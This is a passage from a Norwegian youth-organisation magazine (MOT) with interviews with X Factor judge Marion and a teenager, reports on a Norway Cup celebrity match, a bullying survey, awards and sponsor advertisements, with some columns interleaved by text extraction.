p\u00e5 interne m\u00e5linger. Sponsoratet virker uvanlig godt implementert i organisasjonen, og der man kunne mistenkte Reitan for \u00e5 kj\u00f8pe seg et samfunnsansvar med et sminkesponsorat mener juryen man skal lete lenge for \u00e5 finne et \u00e6rligere sponsorat. Det er ogs\u00e5 et meget godt sammenfall i m\u00e5lgruppen til b\u00e5de sponsor og objekt gjennom Reitans mange unge butikkmedarbeidere. Med sponsoratet i bunn har Reitan klart \u00e5 bedre det interne milj\u00f8et og Reitans ungdommenlige butikkmedarbeidere er ogs\u00e5 skreddersydd for MOTs ungdommelige profil og budskap. - Jeg ble f\u00f8rst og fremst utrolig stolt og glad. MOT sitt verdisyn er veldig sammenfallende med v\u00e5rt, og dette arbeidet bidrar til \u00e5 underbygge v\u00e5rt verdiarbeid. For samfunnet bidrar MOT til \u00e5 gi ungdommer bevissthet om livet og MOT til \u00e5 ta egne valg, og derfor er dette verdiarbeid b\u00e5de p\u00e5 kort og lang sikt. Sponsorprisen ga oss enda mer motivasjon til \u00e5 satse fremover sammen med MOT, smiler Magnus Reitan. 12\n\n\n\n8 Stores\u00f8ster Marion elsker X Factor og hverdager Vi m\u00f8ter Marion p\u00e5 en caf\u00e8 i Oslo, ikke langt fra leiligheten som hun bor i sammen med snowboardkj\u00e6resten Andreas Ygre Wiig. Med svarte solbriller, skinnjakke, lilla bukser og det lange m\u00f8rke h\u00e5ret ser hun ut som en rockestjerne. Hun har turnert verden rundt og bodd i Los Angeles sammen med verdenskjente artister. Hun har alltid har turt \u00e5 si meningene sine eller \u00e5 si fra hvis hun er uenig i ting. N\u00e5r hun n\u00e5 er aktuell som dommer i X Factor, blir nettopp det viktig. P\u00e5 den annen side er det nok ikke tilfeldig at hun i sangen Flesh and Bone synger I wish my heart was made of stone. For det er ikke tilfeldig at Marion snakker om deltakerne p\u00e5 X Factor som om de var sm\u00e5s\u00f8sknene hennes. Det er ikke tilfeldig at hun tar til t\u00e5rene n\u00e5r en deltaker synger vakkert, selv om hun egentlig synes det er kleint \u00e5 grine p\u00e5 tv. Og det er heller ikke tilfeldig at Marion sier at hun elsker X Factor eller hverdager for Marions hjerte er ikke lagd av stein. Marion elsker X-Factor. Hun snakker med deltakerne p\u00e5 facebook til klokka to om natten, og de kaller henne stores\u00f8ster Marion. Og s\u00e5 elsker hun \u00e5 ha hverdager. Snakker med deltagerene p\u00e5 facebook til klokka to om natten Marion bestiller seg en kopp svart te med melk, og noe \u00e5 spise. P\u00e5 sp\u00f8rsm\u00e5let fra meg om hun vil snakke om X Factor er det ingen tvil; det er jo naturlig det\\! Hun snakker om jobben som dommer med stjerner i \u00f8ynene og et tydelig engasjement. - Jeg elsker de showene\\! Det er d\u00f8dsg\u00f8y, men samtidig er det ogs\u00e5 litt skummelt. Jeg er meg selv 100 prosent, og glemmer at kameraene er der. Jeg er nerv\u00f8s foran hvert show, b\u00e5de for min egen del men ogs\u00e5 p\u00e5 vegne av deltakerne\\! For \u00e5 understreke at Marion elsker showene kaller meddommer Klaus henne X Factors Rainman, og mener med det at hun kan alt om alt som har med X Factor \u00e5 gj\u00f8re. Mange av deltakerne kaller henne stores\u00f8ster Marion. Det er nok ikke bare fordi hun stiller store krav til dem men ogs\u00e5 fordi hun bryr seg. - Jeg blir s\u00e5 engasjert, vet du, jeg kan sitte p\u00e5 facebook og chatte med deltakerne til klokka to om natten\\! Vi diskuterer sangvalg og \u00f8vinger. Samtidig er jeg opptatt av at jeg ikke skal bestemme over dem. Jeg har selv opplevd hvordan det er at noen pr\u00f8ver \u00e5 forme deg til noe du ikke er og det vil ikke jeg gj\u00f8re. Det er et samarbeid mellom dem og meg, dette. For Marion har selv kjent p\u00e5 kroppen hvordan det er \u00e5 v\u00e6re ung artist med store dr\u00f8mmer i en bransje som stiller h\u00f8ye krav, og som til tider kan v\u00e6re n\u00e5del\u00f8s. Hun har levd livet i Los Angeles sammen med verdens st\u00f8rste popstjerner, og en skulle tro at livet i lille Norge er kjedelig for henne. Men Marion elsker det ogs\u00e5, ikke minst hverdagene. 14\n\n\n\n9 Elsker hverdager Hun liker at kofferten hennes kan st\u00e5 i boden eller at hun kan ha kl\u00e6rne i skapet og skoene i gangen. Hun liker \u00e5 si til venner og familie at de kan ringes for \u00e5 avtale n\u00e5r de skal m\u00f8tes, i stedet for at hun m\u00e5 stresse rundt for \u00e5 rekke over alle p\u00e5 en gang i l\u00f8pet av de korte periodene hun vanligvis er hjemme. Hun liker \u00e5 v\u00e6re sammen med venner og familie. Tekoppen f\u00e5r st\u00e5 i fred mens Marion prater som en foss om hva hun liker \u00e5 gj\u00f8re n\u00e5r hun endelig har disse hverdagene, som vi andre kanskje har lett for \u00e5 tenke at vi har for mange av. - Trening er viktig for meg, det f\u00e5r meg til \u00e5 f\u00f8le meg vel. Det kan v\u00e6re \u00e5 ta timer p\u00e5 Elixia, eller en l\u00f8petur. Og s\u00e5 har jeg l\u00e6rt meg \u00e5 trives i mitt eget selskap. Svart te med melk i er lykke for meg, og det \u00e5 pusle med ting i leiligheten. Da lager jeg album eller utklippsbok, sitter ved pianoet, broderer eller leser. Og s\u00e5 sover jeg ofte s\u00e5 lenge som jeg kan, uten alarm. Da kan klokka fort bli tolv. Det er deilig \u00e5 kunne gj\u00f8re det noen ganger ogs\u00e5. Marion stopper plutselig opp og sukker nesten litt. Det er skummelt hvor fort tiden g\u00e5r. N\u00e5 har hun snart v\u00e6rt hjemme i Norge ett \u00e5r i strekk. Det er rekord. Kj\u00e6resten Andreas er like mye p\u00e5 reisefot som henne. Marion tror det kan v\u00e6re en fordel. - Jeg f\u00f8ler at vi har funnet roen sammen. Det er godt \u00e5 v\u00e6re sammen med noen som forst\u00e5r hvordan det er \u00e5 ha en s\u00e5nn type jobb som jeg har. For selv om han kj\u00f8rer snowboard og jeg driver med musikk s\u00e5 er det mye av det samme. Jeg f\u00f8ler at vi har forst\u00e5else for hverandre, og er opptatt av hverandres interesser. Det er alltid moro \u00e5 v\u00e6re med Andreas p\u00e5 konkurranser. N\u00e5r Marion er med Andreas p\u00e5 konkurranser passer hun p\u00e5 at han f\u00e5r i seg nok mat, og f\u00e5r slappet nok av mellom konkurransene. Hun har ogs\u00e5 laget utklippsbok der hun limer inn alt som st\u00e5r om han i aviser og blader. Hun smiler litt for seg selv n\u00e5r hun sier det, og avkrefter lattermildt sp\u00f8rsm\u00e5let mitt om hun lager utklippsbok av seg selv ogs\u00e5. Det blir visst for dumt. Det er ikke s\u00e5 mye som skal til N\u00e5r de er hjemme er Marion og Andreas som alle andre kj\u00e6restepar. De ligger p\u00e5 sofaen og ser p\u00e5 tv, lager middag sammen, og g\u00e5r p\u00e5 skiturer. Andreas m\u00e5 alltid fortelle henne hvor langt det er igjen til neste topp, eller til de er framme. Da f\u00e5r hun nemlig kvikklunsj. med koslige lapper inni som jeg gjemmer i sekken hans. Da f\u00e5r han en hyggelig overraskelse p\u00e5 flyturen. Det samme gjelder overfor venner og familie, det er sm\u00e5 ting som skal til. For meg handler det om \u00e5 ringe ei venninne som du vet er stressa for \u00e5 h\u00f8re om det g\u00e5r bra med henne. Eller \u00e5 sende postkort til bestemor uansett hvor jeg er i verden. - Det skal ikke s\u00e5 mye N\u00e5 blir det ingen postkort p\u00e5 til for \u00e5 vise at du bryr bestemor p\u00e5 en stund, for n\u00e5 er det deg eller at du er glad fullt kj\u00f8r med X Factor. Fokuset er i noen. N\u00e5r Andreas rettet mot \u00e5 v\u00e6re mentor og \u00e5 dele skal ut \u00e5 reise pleier erfaringer med deltakerne. Selv om jeg for eksempel \u00e5 Marion snakker hjertelig om dem sm\u00f8re matpakke og at hun bruker mye tid p\u00e5 dem, til han, legger hun ikke skjul p\u00e5 at hun stiller store krav. Hun mener selv at hun blir mer og mer streng i l\u00f8pet av showene. Hun vet hvor h\u00f8ye krav musikkbransjen setter, og det nytter ikke \u00e5 ta ting for gitt. Man skal jobbe hardt for \u00e5 n\u00e5 fram, og hun krever at deltakerne \u00f8ver mye mellom showene. - Jeg kan nok bli litt vel engasjert, og kanskje bry meg litt for mye. Men det er s\u00e5 spennende og morsomt \u00e5 f\u00e5 lov \u00e5 dele sine erfaringer med andre. Hva er planene dine framover? - N\u00e5 er det fullt kj\u00f8r med X Factor fram til desember. Etter det har jeg ikke lagt noen spesielle planer. Annet enn at jeg skal gi ut egen plate. Det blir spennende, jeg gleder meg veldig. Dessuten kommer Andreas snart hjem igjen. Men n\u00e5 er det alts\u00e5 X Factor som gjelder. N\u00e5 skal Marion v\u00e6re stores\u00f8ster for unge og h\u00e5pefulle artister som dr\u00f8mmer om \u00e5 oppn\u00e5 det samme som hun har gjort. Et av tipsene de f\u00e5r er kanskje \u00e5 elske det de holder p\u00e5 med? Det er i alle fall liten tvil om at det er akkurat det Marion gj\u00f8r\n\n\n\n10 HERLIG, VANSKELIG OG HELT FANTASTISK. Hva skjer n\u00e5r man b\u00e5de vil v\u00e6re verdens beste kj\u00e6reste, verdens snilleste venn og samtidig v\u00e6re med p\u00e5 alt som skjer? Skjer det s\u00e5 mye i ungdomstida at man m\u00e5 velge bort noen? MOT tok en prat med ei jente som nettopp er ferdig med ungdomsskolen og som har hatt sin f\u00f8rste uke p\u00e5 videreg\u00e5ende n\u00e5r dette intervjuet foreg\u00e5r; Tonje Brobak Gresseth (16) fra Trondheim. - Om du f\u00e5r to sekunder til \u00e5 tenke deg om, hva mener du kjennetegner din alder? Det er s\u00e5 mye artig som skjer hele tida, jeg har aldri hatt s\u00e5 mye g\u00f8y f\u00f8r i hele mitt liv. Samtidig g\u00e5r det mye opp og ned for alle p\u00e5 min alder, virker det som. Man kan liksom g\u00e5 fra totalt lykkelig til nedfor p\u00e5 kort tid. Jeg tror man l\u00e6rer mye p\u00e5 \u00e5 kjenne p\u00e5 begge f\u00f8lelsene, det er jo sant at man kjenner oppturene godt om man vet hvordan det er \u00e5 ha v\u00e6rt litt nede. -Er det s\u00e5nn som mytene sier, at mange sliter med \u00e5 beholde alle vennene sine om man blir d\u00f8dsforelska i ungomstia? Jeg tror noen g\u00e5r i den fella, ja. Da jeg hadde kj\u00e6reste var jeg veldig opptatt av \u00e5 sette av tid til vennene mine. Det er lett \u00e5 tenke at forelskelsen er det viktigste i verden, og da m\u00e5 man ha bestemt p\u00e5 forh\u00e5nd at man vil sette vennene sine h\u00f8yt. Jeg tror man aldri kan velge mellom kj\u00e6rligheten til ei bestevenninne og kj\u00e6rligheten til en kj\u00e6reste. Det kan v\u00e6re to forskjellige f\u00f8lelser, som f\u00f8les akkurat like viktig. Da er det viktig \u00e5 la seg selv beholde begge f\u00f8lelsene uten at det m\u00e5 rangeres. 18\n\n\n\n11 -Strekker man til? Det er vanskelig \u00e5 f\u00f8le at man gj\u00f8r det. Det er alltid noen man vil stille opp for, noen man vil henge med, noe man vil gj\u00f8re en god jobb i. Det blir litt heftig i blant, man er redd for \u00e5 ikke v\u00e6re nok. Jeg tror det er viktig \u00e5 v\u00e6re \u00e6rlig til de man er glad i p\u00e5 hvordan man har det. Kanskje f\u00f8ler man at venner blir veldig skuffa om man ikke blir med p\u00e5 alt, men s\u00e5 viser det seg at de har full forst\u00e5else. Det er en vanskelig balansegang det der med \u00e5 ville stille opp p\u00e5 alt, fordi du er glad i folk, samtidig som man m\u00e5 t\u00f8rre \u00e5 si stopp om man kjenner at det er mest riktig, liksom - Hva kan v\u00e6re n\u00f8kkelen til \u00e5 finne den balansegangen? \u00c5 se at det \u00e5 nyte livet kan v\u00e6re s\u00e5 mye forskjellig. Det trenger ikke v\u00e6re det \u00e5 v\u00e6re p\u00e5 alle festene man blir invitert p\u00e5 som er viktigst. Kanskje er det \u00e5 f\u00e5 v\u00e6re med vennene sine eller med familien? Eller kanskje jeg rett og slett mener at det er viktig \u00e5 v\u00e6re \u00e6rlig overfor seg selv: at det faktisk er godt med alenetid foran TVen noen ganger. Jeg tror det er viktig \u00e5 jobbe for at man ikke f\u00e5r d\u00e5rlig samvittighet om man er litt kjedelig og slapper av innimellom. Da har man mer energi til \u00e5 nyte alt det fantastiske\\! -Er det lett \u00e5 v\u00e6re \u00e6rlig, da? Nei, det er noe man m\u00e5 jobbe veldig for. Jeg kjenner at jeg m\u00e5 jobbe for \u00e5 ha mot nok til \u00e5 si; vet du, i kveld har jeg behov for \u00e5 slappe av helt alene, kan vi ta den avtalen neste uke istedenfor? Jeg har lyst til \u00e5 bli god p\u00e5 det, for det er slitsomt \u00e5 f\u00f8le at man skuffer de man er glad i hver gang man sier nei til noe. Da ender man raskt opp med \u00e5 si JA til absolutt alle. M\u00e5let mitt er \u00e5 v\u00e6re \u00e6rlig mot vennene mine p\u00e5 hva jeg trenger og hva som gj\u00f8r meg glad. Om vi har mot nok til \u00e5 v\u00e6re det mot hverandre, da tror jeg vi kan v\u00e6re venner for alltid.. -Gi meg tre ord som du mener oppsummerer ungdomstida? Herlig, vanskelig og helt fantastisk\n\n\n\n12 F\u00d8LG 7-ELEVEN NORGE P\u00c5 MELD DEG INN I CAFF\u00c8 ROSSO-KLUBBEN F\u00c5 1 GRATIS KAFFE OG FLERE GODE TILBUD SEND KAFFE TIL 2290 Seier n er v\u00e5r\\! NORWAY CUP: \u00c5rets samling av fotballspillende kjendiser endte med tidenes lengste straffekonk\\! MOTs lag kom bakp\u00e5 mot \u00e5rets motstander Norsk N\u00f8dhjelp i \u00e5rets kjendiskamp p\u00e5 Norway Cup. Ishockey-, curling-, sang-, og tv-stjerner p\u00e5 Norsk N\u00f8dhjelp klarte \u00e5 score tre ganger f\u00f8r MOTs spillere v\u00e5knet. Daniel Franck scoret s\u00e5 to ganger, f\u00f8r Tone Damli Aaberge utlignet til 3-3. Dermed var det duket for tidenes lengste straffespark-konkurranse. Samtlige spillere skulle f\u00e5 lov \u00e5 ta en straffe hver. Men etter at over 30 straffer var tatt sto det til alles forskrekkelse fremdeles uavgjort. Tippeliga-dommer Svein- Erik Edvardsen tok grep og bestemte at utvalgte spillere skulle ta en og en straffe inntil en vinner kunne k\u00e5res. B\u00e5de spillere, arrang\u00f8rer, presse og publikum mistet nok fullstendig oversikten her, men Edvardsen k\u00e5ret til slutt MOT som vinner av \u00e5rets kjendiskamp. Og ingen klagde p\u00e5 dommeren\\! Kjendiser som overrasket stort i \u00e5rets kamp var Daniel Franck p\u00e5 MOTs lag og Charter-Svein p\u00e5 Norsk N\u00f8dhjelps lag. Charter- Svein har tydeligvis ligget i hardtrening siden fjor\u00e5rets tilsvarende begivenhet - i \u00e5r var han virkelig stor med Siste nytt fra noe Kim Kolstad valgte \u00e5 kalle Messi-takter. De som husker fjor\u00e5rets kjendiskamp forst\u00e5r at mannen har trent siden sist\\! Allerede tidlig i juni blogget Tone Damli Aaberge om at hun gledet seg til fotballkamp med MOT i august. Jenta spiller fotball til vanlig, og det kunne man se\\! Hun scoret et viktig m\u00e5l og dagen etter blogget hun igjen: I g\u00e5r var det duka for MOT-kamp p\u00e5 Norway Cup, og eg var s\u00e5 heldig \u00e5 f\u00e5 vere med\\! Elska jo \u00e5 spele fotball, s\u00e5 dette var toppen. Jammen vann vi ikkje, og eg scora\\!\\! Det f\u00f8ltes veldig, veldig godt;) Spelte p\u00e5 lag meg mange fine folk som alle e med p\u00e5 \u00e5 st\u00f8tte MOT, skrev hun. SOGNDAL: H\u00e5vard Flo og Tone Damli Aaberge tar avspark for MOT. FOTO: Therese Schj\u00f8lberg Ekseth STOLT SAMARBEIDSPARTNER AV GRATIS VALGFRI KAFFE, DU KAN OGS\u00c5 VELGE TE ELLER VARM SJOKOLADE JUBEL: Hele gjengen jubler etter at dommeren utropte MOT som vinner\\! FOTO: Therese Schj\u00f8lberg Ekseth\n\n\n\n13 Siste nytt fra Siste nytt fra JUBEL: Giskes ordf\u00f8rer jubler idet hans kommune blir k\u00e5ret til \u00c5rets Lokalsamfunn med MOT. FOTO: Ludvig Killingberg/MOT Mer samarbeid med Kronprisen FOTO: Sven Gj. Gjeruldsen/Det Kongelige Hoff MOT-logoen er \u00e5 se overalt i Tippeligaen. B\u00e5de Rosenborg, Molde, \u00c5lesund, Brann, H\u00f8nefoss, Lillestr\u00f8m, Odd Grenland og Kongsvinger spiller med logoen p\u00e5 drakten. Og i Adeccoligaen gj\u00f8r Bod\u00f8/Glimt, Moss og Sogndal det samme. De bruker logoen som en p\u00e5minnelse p\u00e5 MOTs budskap b\u00e5de for seg selv og andre. Fotballbanen er et sted man trenger masse MOT. MOT er ofte en del av ambassad\u00f8rlagenes arbeid med barn og unge, og deltar p\u00e5 cuper og fotballskoler. Spillerne er ofte en del av MOTs arbeid, og blir gjerne med ut i skolen for \u00e5 forsterke MOTs budskap der\\! Samarbeidet med toppfotballen er blitt en tradisjon, og enkelte lag har spilt med logoen helt siden MOT startet i Aldri sett ordf\u00f8reren v\u00e5r slik En jublende Giske-ordf\u00f8rer mottok prisen for beste Lokalsamfunn med MOT\\! Giske ble \u00c5rets Lokalsamfunn med MOT for skole\u00e5ret 2009/10. K\u00e5ringen fant sted p\u00e5 MOTs \u00e5rlige landslagssamling, og foran 500 andre gjester. Da Giske ble utropt som vinner viste ordf\u00f8rer Knut St\u00f8bakk med pur glede hva det bet\u00f8d for ham og kommunen. - Vi har aldri sett ordf\u00f8reren v\u00e5r slik, sa de andre Giske-representantene som var tilstede under samlinga. Giske kommune var en verdig vinner av prisen fordi eierskapet var bredt, arbeidet var organisert, innsatsen var stor og resultatene var gode i \u00e5ret som gikk\\! Forbilder i fotballen\\! LOGO: Odd Grenland spiller med logo b\u00e5de p\u00e5 drakt og kapteinsbind. FOTO: Scanpix FORBILDER: Per Ciljan Skjelbred sammen med tre elever fra Charlottenlund ungdomsskole i Trondheim. FOTO: Nina Stiles/MOT 20. oktober handlet om verdighet. Kronprisens store prosjekt Global Dignity Day ble arrangert p\u00e5 landsbasis for f\u00f8rste gang, og to tredjedeler av alle landets videreg\u00e5ende skoler var med. MOT samarbeidet med R\u00f8de Kors og Frivillighet Norge om gjennomf\u00f8ringen, og det ble en flott dag med mange sterke historier om verdighet over hele landet\\! Chat med MOT om hva du vil\\! I tre \u00e5r har MOT v\u00e6rt p\u00e5 MSN og vi har hatt over samtaler med ungdom\\! Her deles sorger og gleder, tomprat og alvorlig prat\\! MOT-buddyen er tilgjengelig mandag - torsdag mellom kl 18 og 22. Legg oss til med denne adressen: Noen tilbakemeldinger: Jente\\_97: Vettu jeg grudde meg skikkelig til \u00e5 begynne p\u00e5 ungdomsskolen, men etter \u00e5 ha snakket med deg litt s\u00e5 gruer jeg meg ikke lenger. Tusen takk;) Jente\\_nord: Jeg sliter...men etter \u00e5 ha snakket med deg s\u00e5 f\u00f8ler jeg meg bedre, jeg er t\u00f8ffere n\u00e5. Takket v\u00e6re deg. TAKK MOT\\! Gutt\\_95: Jeg f\u00f8ler meg litt bedre n\u00e5 som jeg har delt dette med noen AMBASSAD\u00d8RER: P\u00e5 de fl este lagene har enkelte Gutt\\_97: spillere valgt \u00e5 engasjere Men m\u00e5 legge meg jeg n\u00e5, m\u00e5 seg ekstra i MOT. I st\u00e5 opp tidlig i morgen:( Takk for Brann gjelder det Erik all hjelpen, det var til stor hjelp :) Huseklepp (bildet) og Jan Gunnar Solli. Snakkes sikkert senere;) Hade;) 24 FOTO: Vidar Riseth/MOT. 25\n\n\n\n14 Siste nytt fra Siste nytt fra MOT funker\\! Unders\u00f8kelsen viser at det er mindre mobbing p\u00e5 MOT-skolene. Ungdommene har ogs\u00e5 mer tro p\u00e5 egne krefter, h\u00f8yere selvtillit og er mer positive. Akkurat som h\u00e5pet og forventet. MOT-magasinet har tatt en prat med en ekspert p\u00e5 omr\u00e5det. Han har noen gode forklaringer p\u00e5 hvorfor MOT har en effekt p\u00e5 ungdommene som g\u00e5r gjennom programmet. Roald Nyg\u00e5rd er professor emeritus i spesialpedagogikk ved Universitetet i Oslo. Han har hatt motivasjonspsykologi som sitt hovedforskningsomr\u00e5de og skrevet boka Akt\u00f8r eller brikke som er mye brukt i undervisning i pedagogikk. - Ungdommene l\u00e6rer \u00e5 ha tro p\u00e5 egne krefter, og dermed setter de en effektiv stopper for mobbing p\u00e5 egenh\u00e5nd, sier professor Nyg\u00e5rd. Han mener MOT l\u00e6rer ungdommene noe som er essensielt for \u00e5 bli kvitt mobbing. Akt\u00f8rorientert MOT har satt et uavhengig forskningsfirma p\u00e5 saken for \u00e5 f\u00e5 bekreftet en gang for alle at det hjelper med MOT\\! selvforst\u00e5else kalles det p\u00e5 fagspr\u00e5ket, og er en oppfattelse av at man selv er aktive, medansvarlige, handlende vesener som styrer eget liv. At man alltid har frihet til \u00e5 treffe valg, som kan gi livet nytt innhold. - MOT l\u00e6rer ungdom at de er velgende vesener og dermed ser de seg selv som ansvarlige for valgene de gj\u00f8r. Jeg er ikke det minste forbauset over at MOT motvirker mobbing, sier han. Bevisste valg MOT gir ungdom en bevissthet om at man m\u00e5 ta et valg n\u00e5r man m\u00f8ter andre: - Skal jeg gi en positiv energi og bygge det andre mennesket opp, eller skal jeg v\u00e6re en energitapper. Professoren mener at en ungdom med denne bevisstheten, ikke vil velge \u00e5 mobbe. - Man kan nok i teorien tenke seg at en som tar bevisste valg ogs\u00e5 kan velge \u00e5 mobbe, men jeg mener ungdom med en akt\u00f8rorientert selvforst\u00e5else bedre vil forst\u00e5 hvilken innvirkning man har p\u00e5 andre, og n\u00e5r man forst\u00e5r det, kan man lettere treffe valg som er positive for andre. I sin bok Akt\u00f8r eller brikke siterer Nyg\u00e5rd filosofen Knud Eilert L\u00f8gstrup, og han mener hans formuleringer er tankevekkende i denne sammenhengen L\u00f8gstrup sa at den enkelte har aldri med et annet menneske \u00e5 gj\u00f8re uten \u00e5 holde noe av dette menneskets liv i sine hender. Ser man p\u00e5 seg selv som en akt\u00f8r vil man lettere kunne forst\u00e5 dette, sier han. Forst\u00e5r bedre Han mener at MOT l\u00e6rer ungdom om denne friheten til \u00e5 velge, og at de dermed blir bevisst p\u00e5 hva egne handlinger har \u00e5 si for andre. De klarer \u00e5 se seg selv i et st\u00f8rre perspektiv, og blir sjefer i eget liv og egen skolehverdag. - Elevene bevisstgj\u00f8res p\u00e5 at de med egne krefter kan skape et godt milj\u00f8 rundt seg, og at det nytter \u00e5 ta grep i eget liv. P\u00e5 den m\u00e5ten henger det nok veldig tett sammen n\u00e5r unders\u00f8kelsen viser at MOT-ungdommene b\u00e5de har mer tro p\u00e5 egne krefter, og mobber mindre, sier han. Blir ikke offer En ting er at f\u00e6rre blir mobbet, men noen av de tydeligste tallene fra unders\u00f8kelsen viser en positiv effekt p\u00e5 de som faktisk blir mobbet. Ungdommer p\u00e5 MOTskolene vet i stor grad hvem de skal si ifra til hvis de blir mobbet. Nyg\u00e5rd mener de er blitt mer handlende vesener, som vet at de selv kan gj\u00f8re noe med egen situasjon, og ikke godtar \u00e5 v\u00e6re et offer. - Kjernen i MOTs filosofi er akt\u00f8rfilosofi p\u00e5 sitt beste. Dersom dette g\u00e5r hjem hos elevene er det \u00e5 v\u00e6re et offer ikke et alternativ. Selv der elever utsettes for mobbing, urettferdig behandling eller tvang kan de selv velge hva dette skal f\u00e5 lov \u00e5 bety i livet deres, sier han. TAR GREP: Ungdom l\u00e6rer \u00e5 ta et godt grep rundt eget og hverandres liv gjennom MOT. F\u00e5r st\u00f8tte En annen som ikke er overrasket over resultatene i unders\u00f8kelsen er professor Edvard Befring. Han er en av landets fremste eksperter p\u00e5 l\u00e6ring og problematferd, og har en sterk tro p\u00e5 MOTs tiln\u00e6rminger og metoder i skolen. - MOT er i dag ett av de mest l\u00f8fterike forebyggende tiltakene i norsk skoleog oppvekstsektor. Programmet er en viktig bidragsyter i velferdsstaten ved \u00e5 styrke unge menneskers selvtillit, p\u00e5gangsmot og motstandsdyktighet, sier han. Det gir en enorm motivasjon for alle som jobber med MOT \u00e5 f\u00e5 slike tall, og ikke minst \u00e5 f\u00e5 slike bekreftelser fra ekspertene\\! Tabellen viser hvor mange prosent som blir mobbet mer enn en gang i uka. Det er gjennomf\u00f8rt tre m\u00e5linger p\u00e5 40 MOT-skoler og 40 kontrollskoler. Den f\u00f8rste ved oppstart p\u00e5 ungdomsskolen, den andre til jul i 8. klasse og den tredje til p\u00e5ske i 9. klasse. Ved siste m\u00e5ling er gjennomsnittet p\u00e5 skoler som bruker MOT 3 % mens det er n\u00e6rmere 6 % p\u00e5 kontrollskolene\n\n\n\n15 Siste nytt fra \u00c5rets MOT-informat\u00f8r Vivian Mathisen fra Tinn ble \u00c5rets MOTinformat\u00f8r for skole\u00e5ret 2009/2010. Prisen fikk hun blant annet fordi hun er glad i ungdom og ungdom er glad i henne. Hun har v\u00e6rt MOTinformat\u00f8r i 10 \u00e5r\\! H \\* K Reklamebyr\u00e5 Foto: GT FOTO: Ludvig Killingberg/MOT Det koster \u00e5 bli god HUSK \u00e5 ha MOT\\! MOT-bes\u00f8k p\u00e5 skolen f\u00e5r man tre ganger i \u00e5ret, men MOT trenger man hver eneste dag. Dermed er sm\u00e5 p\u00e5minnelser veldig viktig i MOTs arbeid. For \u00e5 n\u00e5 inn med disse sm\u00e5 p\u00e5minnelsene f\u00e5r MOT utrolig god hjelp fra samarbeidspartnerne sine. I tillegg til \u00e5 bidra med midler inn til jobben MOT gj\u00f8r bidrar de ogs\u00e5 direkte inn med sm\u00e5 p\u00e5minnelser p\u00e5 f. eks kaffekopper, i butikkvinduer, p\u00e5 poser og kredittkort. 7-Elevens ansatte har MOT som en del av sin oppl\u00e6ring i bedriften, og er det noen som er bortskjemte p\u00e5 p\u00e5minnelser er det de som jobber i butikkene. De er omgitt av sm\u00e5 MOTp\u00e5minnelser hele dagen\\! Gled noen den 23. november\\! Gled noen med enkle midler den 23. november\\! Dette er sjuende \u00e5ret MOT til \u00e5 glede-dagen blir arrangert, og over hele landet kommer unge og gamle til \u00e5 glede andre. Gj\u00f8r andre glad enklere blir det ikke\\! MOT -st\u00e6sj\\! Alt som finnes av MOTeffekter f\u00e5r du tak i gjennom MOTs shop p\u00e5 mot.no. Husk at du fort kan bli en rollemodell for andre ved \u00e5 bruke noen av effektene. En av v\u00e5re MOTambassad\u00f8rer fikk en gang en klar melding som han siden har pr\u00f8vd \u00e5 leve opp til. Han var p\u00e5 tur og hadde p\u00e5 seg MOT-genseren sin, da ei jente plutselig pekte p\u00e5 ham og sa: - Du m\u00e5 v\u00e6re bra snill du\\! - \u00c5, sa han, hvorfor det? GLAD: Noen har tilsynelatende gledet MOT-ambassad\u00f8r Morten Gamst Pedersen. - Jo, alle som g\u00e5r med den genseren er snille. MOTs verdier er sterke, og det forplikter \u00e5 ha p\u00e5 seg et av MOTs identitetsprodukter. N\u00e5r du bruker effektene er du en rollemodell p\u00e5 MOT til \u00e5 leve, MOT til \u00e5 bry seg og MOT til \u00e5 si nei. FOTO: Ludvig Killingberg/MOT Du skal ha tro p\u00e5 deg selv for \u00e5 utvikle dine evner og talenter, men noen ganger trenger du st\u00f8tte for \u00e5 komme videre. Tr\u00f8nderEnergi st\u00f8tter unge talenter og samarbeider med MOT for \u00e5 gi ungdom positiv energi og tro p\u00e5 egne krefter. 28\n\n\n\n16 Kj\u00e6rlighet og vilje innen sport Hva m\u00e5 til for \u00e5 komme til OL? Hva m\u00e5 til for \u00e5 komme til OL? For \u00e5 komme til OL m\u00e5 du ha en sterk indre motivasjon som gj\u00f8r at du er villig til \u00e5 gjennomf\u00f8re all den treningen som skal til for \u00e5 n\u00e5 m\u00e5lene du setter deg. I tillegg m\u00e5 du ha en sterk vilje og r\u00e5skap\\! Du m\u00e5 t\u00e5le \u00e5 ha vondt, og \u00e5 bli sliten. \u00c5 v\u00e6re m\u00e5lbevisst, og \u00e5 ta sine valg ut i fra de m\u00e5l en har satt seg er ogs\u00e5 en viktig faktor for \u00e5 bli best\\! Hva m\u00e5 til for \u00e5 bli en god idrettsut\u00f8ver som hevder seg i for eksempel NM? For \u00e5 bli en god idrettsut\u00f8ver p\u00e5 nasjonalt niv\u00e5 m\u00e5 man v\u00e6re villig til \u00e5 gj\u00f8re en bedre jobb i form av trening enn andre. Hva m\u00e5 til for \u00e5 holde seg i god form? For \u00e5 holde seg i god form gjennom trening er det viktig \u00e5 sette seg konkrete m\u00e5l som en \u00f8nsker \u00e5 oppn\u00e5. Slik blir det lettere \u00e5 motivere seg til trening. Et slikt m\u00e5l kan for eksempel v\u00e6re en konkret tid som du \u00f8nsker \u00e5 oppn\u00e5 innen l\u00f8ping, sv\u00f8mming eller sykling. Hvor viktig er vilje og kj\u00e6rlighet i idretten man driver med? B\u00e5de vilje og kj\u00e6rlighet i forhold til idretten er veldig viktig. Vilje er med p\u00e5 \u00e5 bidra til at man oppn\u00e5r de m\u00e5lene en har satt seg, og at en er villig til \u00e5 legge ned det som kreves i form av tid og trening. Kj\u00e6rlighet innen idretten er med p\u00e5 \u00e5 skape trivsel og til \u00e5 bedre samhold i idretten. Alexander Dale Oen Det \u00e5 komme til OL er ikke lett, det finnes ingen snarveier. Jeg sier som Lance Armstrong sa til meg p\u00e5 Champs Elysses etter sin 7. sammenlagtseier i Tour de France. - De to mest avgj\u00f8rende momentene er: Et fantastisk team i alle ledd som er villige til \u00e5 gj\u00f8re alt. Og hardt arbeid. For \u00e5 n\u00e5 toppen m\u00e5 du ha talent for idretten du driver, men det viktigste talentet er vilje. Vilje til \u00e5 trene hardere og riktigere enn dine konkurrenter, vilje til \u00e5 ofre, vilje til \u00e5 fornye seg. Fornye og forbedre treningsmetoder, vilje til \u00e5 forbedre seg selv om du er best. Ha MOT til \u00e5 t\u00f8ye dine grenser, bli kjent med deg selv og dine muligheter og begrensninger. MOT til \u00e5 lytte til kroppen, MOT til \u00e5 hvile, trene variert b\u00e5de i intensitet og treningstyper er ogs\u00e5 